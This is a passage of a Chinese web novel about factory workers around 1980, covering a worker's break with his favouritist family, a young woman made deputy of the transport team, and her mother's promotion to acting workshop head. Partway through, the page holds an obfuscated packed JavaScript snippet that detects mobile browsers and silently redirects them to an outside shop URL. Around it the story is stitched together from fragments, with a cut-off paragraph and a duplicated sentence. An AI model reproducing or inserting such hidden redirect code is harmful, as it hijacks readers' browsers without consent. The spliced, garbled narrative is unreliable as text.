11月底小风嗖嗖刮，去吃暖房酒席的江禾穿上新毛衣、新棉衣，手套围巾齐上都还觉得风刮脸。
走到半路遇上同样骑自行车去吃席的胡德勇，两人比赛你追我赶，一个赛一个蹬得猛，脸也不冷了，手也不冻了。
上周抽签过后厂里把钥匙发下来，职工们简单收拾收拾这周搬家请客的不少，像田贵生两口子随大流也选今天办。
不过他们今天这酒席还真没多少人来，拿到房子前他俩盘算着跟住在机械厂家属院的一家人换了房子，田贵生哥哥姐姐弟爹妈没有一个满意，放狠话他们敢换房子从此就不来往。
说实话还是偏心闹得，田贵生兄弟姐妹四个，只有他一个人下乡，他是重组家庭，她妈生他时难产，没到一年后妈进门带来一个姐姐，第二年生了一个弟弟，两人差着两岁，为了让他照顾弟弟愣是让他晚两年上学，上山下乡的政策出来他爸毫不犹豫给他报名让他弟接班。
田贵生从小到大都被叮嘱要照顾姐姐让着弟弟，他爸的举动和全家人都劝他下乡的态度让他彻底看透家人的嘴脸，他狠狠敲诈了一笔之后心灰意冷的下乡，原本以为要在乡下待一辈子，考试也没考过那几年压根儿就没认真读，等政策出来后他火速回城。
家里家外哪还有他睡的地儿，一共三间屋，老两口小两口各占一间屋，他弟弟自个儿住一间，他爸心疼小儿子怕他晚上跟他弟抢被子，说啥都不让他俩睡一张床，不知道从哪儿弄来一张行军床。
三月倒春寒，一床薄棉被就想打发他，可惜田贵生经过千锤百炼早已不是当初任人拿捏的软面团，白天没说话晚上往床上一趟说啥都不动，他爸骂后妈装模做样劝，小弟满眼厌恶看着他那一刻他发誓一定要有属于他的房子不管用什么办法。
回城知青太多，知青办每天都是乌泱泱的人，他只道越等越遭，于是他舔着脸找到多年没联系在机械厂工作的舅舅把他弄进了运输队，眼看着短时间转正无望，他只能另辟蹊径，在联谊会上发挥出自己最大的优势，成功吸引到几位女同志，可一听说他是临时工，纷纷离开。
只有曾兰问他家里兄弟姐妹多不多，说她是独生女一定要守在父母身边，巧了不是，田家多田贵生一个很多少他一个不少，两人看对眼迅速确定关系，正好赶上新一轮分房有火速结婚。
为了恶心他爸他拿着结婚证回家说家里要是没有他结婚的地方他就去女方家办酒席，可把他爸气够呛，又丢不起那个人，勉强从他弟的房间给他隔出一半。
确认能分房之后他和曾兰没有丝毫犹豫马上找人换机械厂家属院的房子，不仅是因为他给曾兰的承诺，更是因为他看他爸偏心和他后妈伪善的嘴脸看得够够儿的，这辈子都不想再看。
这些都是田贵生结婚后说的，当时江禾和胡德勇夸他酒席办得好，他笑着一骨碌吐出来，他爸在老邻居们面前一直都是老好人形象有啥事总是冲在前面，好面儿，田贵生捏着这点屡试不爽，一分钱没出，他爸把酒席办的漂漂亮亮。
听到后面两人都笑不出，手心手背都是肉，当父母却总要分出个一二三。
说断就断他家里是一个人都没来，这次酒席主要请的事曾兰的亲戚朋友和一个院儿的邻居，江禾和胡德勇算是田贵生方代表。
知道田贵生的经历后，江禾看他这回感觉不一样，像是打心眼儿里高兴，一口一个妈一个爸的叫曾兰父母，脸上的笑就没断过。
曾兰在机械厂家属院长大熟人多，大爷大妈都贼热情，同桌大妈还想给江禾介绍男同志，一听说她是运输队的就哑火了。
江禾也怕再有人提这事儿，吃完饭果断溜走。
……
经过半个月江禾差不多能把时间控制在三十分钟冒点头跑完家到机械厂的全程。
周一的早会上刘建业正式宣布下个月他调去保卫科由丁满仓接任队长，江禾协助就像以前丁满仓给他打下手一样。
此话一出有人大为震惊有人反应平平消息灵通的早有预料，多少双眼睛盯着保卫科科长的位置，都在等着看是谁受提拔。
刘建业有资历有能力退伍军人出身，一个保卫科副科长的位置当得起，要不是他不愿意挪窝，凭他的人脉关系早混上一个正科长了。
不过知道内幕的人也好奇他咋就回心转意，舍得从运输队出去了。
好奇归好奇，他们也有不满，凭啥一个进运输队不到一年的女同志能做丁满仓的副手，这丁满仓干那么多年副手被提拔当队长，要是往后再提拔他岂不是就要轮到一个丫头片子当队长，这像什么话。
夏师傅第一个叫起来：“凭啥提她做副手，她一个进厂不到一年的小丫头片子知道流程吗？就干副手！”
唐师傅也跟腔：“小江来的时间是有点短，好多事儿她都不清楚，让她做副手不合适吧。”
刘建业对这个局面早有预料，不灵活的也开不了大车，这群人心里的小九九且多着呢，他解释道：“副手也就是咱们说得好听其实就是打下手，早年让老丁给我打下手是因为他初中毕业文化比你们强点儿，现在让江禾给他打下手也是一样的道理，她高中毕业能帮老丁分摊，这也是我跟老丁商量过的。”
丁满仓立马表态：“是，我和老刘商量得挑个人出来帮我理理单子啥的，有时候我外出送货办公室也得留人，小江是年轻人脑子灵光虽然进运输队的时间短点但有啥不会的也能慢慢儿学。”
他这话合情合理，但最后一句话怎么听着有点儿不得劲儿呢，江禾不知道是不是自己太敏感了。
新老队长都发话，这本来就不是什么有编制的岗位又不给多发啥福利，运输队一共才几个人，两个人反对也翻不起浪。
主要还是因为说得好听是副手其实就是个打杂的，干队长不想干的活，受队长不用受气，动作要麻利，没有多一分钱，还不能有怨言，问就是重视才提你起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738807|185326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做副手，这些江禾都清楚。
不过并不妨碍她干得起劲儿，一边干一边忧心忡忡。
这一段时间她妈除了吃饭睡觉，几乎把所有时间都用在工作上，时刻注意严抓生产质量，下班后跟在两个工程师身边了解新生产线，尽量做到最好也是为了分散注意力，克制
提扒新车间主任已经不是秘密，令众人惊讶的是张月英也在候选人当中，有资历的食品厂女工几乎都认识，同住一片儿家属区就算不认识也听说过，私下都议论没听说她有啥关系，这种好事儿咋会落到她头上。
厂里职工就车间主任候选人议论了一周，除了有极个别工人说不公平外，大多数都是抱着一种看热闹的心态。
这事儿也不知道是谁传开的，不过也不影响，这都到最后了，领导心里有数，张月英又被叫去办公室，这次不止许科长，林厂长也在表情很严肃，“小张坐，知道我为什么叫你来吗？”
张月英也是没想到四十好几还能有被人叫小张的一天，不过经历过大风大浪的小张表示这节骨眼儿上叫她来还能因为啥！
她深吸一口气，微笑道：“不知道。”
林厂长也不再卖关子说：“小张啊，其中厂子里每一位职工的努力我都看在眼里，特别是像你这样十来年的老员工还能不断上进，主动学习，这种精神值得肯定……”
此时张月英耳朵嗡嗡作响，心脏突突跳，看着眼前人嘴一张一合已然听不清他在说什么，真到这一刻根本没法冷静。
直到他笑着拍拍张月英的肩膀：“12月新生产线投产你们车间主任调过去，你顶上暂代主任一职，记住是有考核期的，拿出你的拼劲儿来，不要辜负我的期望！”
张月英有几分呆滞，她的整个人被巨大的喜悦冲击，像裹进蜜里一样，语无伦次道：“谢谢厂长，谢谢厂长，谢谢许科长！”
说实话虽然她全力以赴但并没有抱太大的希望，她一个没学历没背景唯一有的就是资历拿啥跟人竞争。
她的整个人被巨大的喜悦冲击，像裹进蜜里一样，语无伦次道：“谢谢厂长，谢谢厂长，谢谢许科长！”
林厂长故意板起脸，“谢什么谢，我可不要口头上的感谢！”
许科长在一旁看着不由得心生感叹，这张月英真是有运气，厂子里那么多人，上进的不老少，人家露一回脸就能被领导看见。
不过人家确实有点能力，机会来了抓得住，多少人不中用给机会也不行，跟扶不起来的阿斗一样。
这时候张月英冷静下来，不用再装傻充愣，她说：“领导放心我一定会尽我所能抓好生产，保证质量！”
出办公室的张月英还有点发飘，这一段时间想坐过山车一样，突然被领导看见，从平静的日常冲上云霄，平静后又在现实的轨道上摇摇晃晃地寻找平衡点。
张月英的野心从未消失，只是在这个时代前进一步太难，这一刻她得偿所愿。